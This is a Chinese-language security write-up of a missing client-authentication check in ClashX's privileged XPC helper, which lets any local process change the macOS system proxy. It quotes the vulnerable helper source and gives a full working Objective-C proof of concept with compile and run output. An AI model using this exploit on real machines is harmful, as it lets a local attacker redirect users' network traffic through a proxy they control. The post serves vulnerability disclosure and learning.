ClashX 更改网络代理特权操作漏洞挖掘记录


前言

XPC 为基本进程间通信提供了一种轻量级机制。它允许你创建称为 XPC 服务的轻型帮助程序工具,用于代表你的应用执行工作。 launchd 系统守护程序管理这些服务,按需启动它们,在空闲时关闭它们,并在它们崩溃时重新启动它们。

全局第三方 XPC 应用程序通常以PrivilegedHelperTool的形式出现。这些工具通常由必须以 root 身份执行某些操作的应用程序安装。应用程序安装这些客户端工具来帮助它们执行特权操作,而不是在每次需要 root 时提升权限。

细节

ClashX 有一个 PrivilegedHelperTools XPC 服务:com.west2online.ClashX.ProxyConfigHelper 。

在 ProxyConfigHelper.m 文件中,它没有对连接的客户端进行身份验证的过程,因此允许我们自定义连接过程:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//    if (![self connectionIsVaild:newConnection]) {
//        return NO;
//    }
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
    newConnection.exportedObject = self;
    __weak NSXPCConnection *weakConnection = newConnection;
    __weak ProxyConfigHelper *weakSelf = self;
    newConnection.invalidationHandler = ^{
        [weakSelf.connections removeObject:weakConnection];
        if (weakSelf.connections.count == 0) {
            weakSelf.shouldQuit = YES;
        }
    };
    [self.connections addObject:newConnection];
    [newConnection resume];
    return YES;
}

从 ProxyConfigRemoteProcessProtocol.h 文件中,我们知道 XPC 服务提供了以下方法:

@import Foundation;

typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);

@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required

- (void)getVersion:(stringReplyBlock)reply;

- (void)enableProxyWithPort:(int)port
                  socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList
                      error:(stringReplyBlock)reply;

- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                  reply:(stringReplyBlock)reply;

- (void)restoreProxyWithCurrentPort:(int)port
                          socksPort:(int)socksPort
                               info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                              error:(stringReplyBlock)reply;

- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

继续跟踪 enableProxyWithport :遍历网络设备并设置代理设置:

- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
                     pacUrl:(NSString *)pacUrl
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList {

    [self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
        [ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
            [self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
        }];
    }];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
                 filterInterface:(BOOL)filterInterface
                         devices:(void(^)(NSString *, NSDictionary *))callback {
    NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
    for (NSString *key in [sets allKeys]) {
        NSMutableDictionary *dict = [sets objectForKey:key];
        NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
        if (!filterInterface || [hardware isEqualToString:@"AirPort"]
            || [hardware isEqualToString:@"Wi-Fi"]
            || [hardware isEqualToString:@"Ethernet"]
            ) {
            callback(key,dict);
        }
    }
}
...

- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
                        socksPort: (int)socksPort pac:(NSString *)pac
                       ignoreList:(NSArray<NSString *>*)ignoreList {

    NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];

    NSString *ip = enable ? @"127.0.0.1" : @"";
    NSInteger enableInt = enable ? 1 : 0;
    NSInteger enablePac = [pac length] > 0;

在“getProxySetting”函数中,有一条语句 NSString *ip = enable ? @"127.0.0.1" : @""; 将IP限制为仅配置为127.0.0.1。不影响此漏洞仍可将系统代理更改为本地恶意代理地址。

Poc

  1. Wirte poc.m
#import <Foundation/Foundation.h>

static NSString *XPCHelperMachServiceName =
    @"com.west2online.ClashX.ProxyConfigHelper";

typedef void (^stringReplyBlock)(NSString *);
typedef void (^boolReplyBlock)(BOOL);
typedef void (^dictReplyBlock)(NSDictionary *);

@protocol HelperToolProtocol <NSObject>
@required
- (void)getVersion:(stringReplyBlock)reply;
- (void)enableProxyWithPort:(int)port
                  socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *> *)ignoreList
                      error:(stringReplyBlock)reply;
- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                  reply:(stringReplyBlock)reply;
- (void)restoreProxyWithCurrentPort:(int)port
                          socksPort:(int)socksPort
                               info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                              error:(stringReplyBlock)reply;
- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

int main(void) {
  OSStatus err;
  NSString *service_name = XPCHelperMachServiceName;
  NSXPCConnection *connection =
      [[NSXPCConnection alloc] initWithMachServiceName:service_name
                                               options:0x1000];
  NSXPCInterface *interface =
      [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
  [connection setRemoteObjectInterface:interface];
  [connection resume];

  id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
    NSLog(@"[-] Error: %@", error);
  }];

  NSLog(@"[+] obj: %@ conn: %@", obj, connection);

  [obj enableProxyWithPort:3333
                  socksPort:7777
                        pac:NULL
            filterInterface:YES
                 ignoreList:NULL
                      error:^(NSString *error) {
                        NSLog(@"Error: %@", error);
                      }];
  NSLog(@"[+] Done");
}
  1. Compile the poc.m

clang -framework Foundation poc.m -o poc

  1. Run it
./poc                                                       
2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper
2023-05-26 13:34:45.313 poc[13498:214914] [+] Done

已检查并成功设置系统网络代理设置:
Untitled.png

总结

是个水洞,当学习XPC了。

参考链接

评论

巴斯.zznQ

微信公众号【凹陷外壳】✌️

随机分类

CTF 文章:62 篇
Android 文章:89 篇
事件分析 文章:223 篇
浏览器安全 文章:36 篇
Ruby安全 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录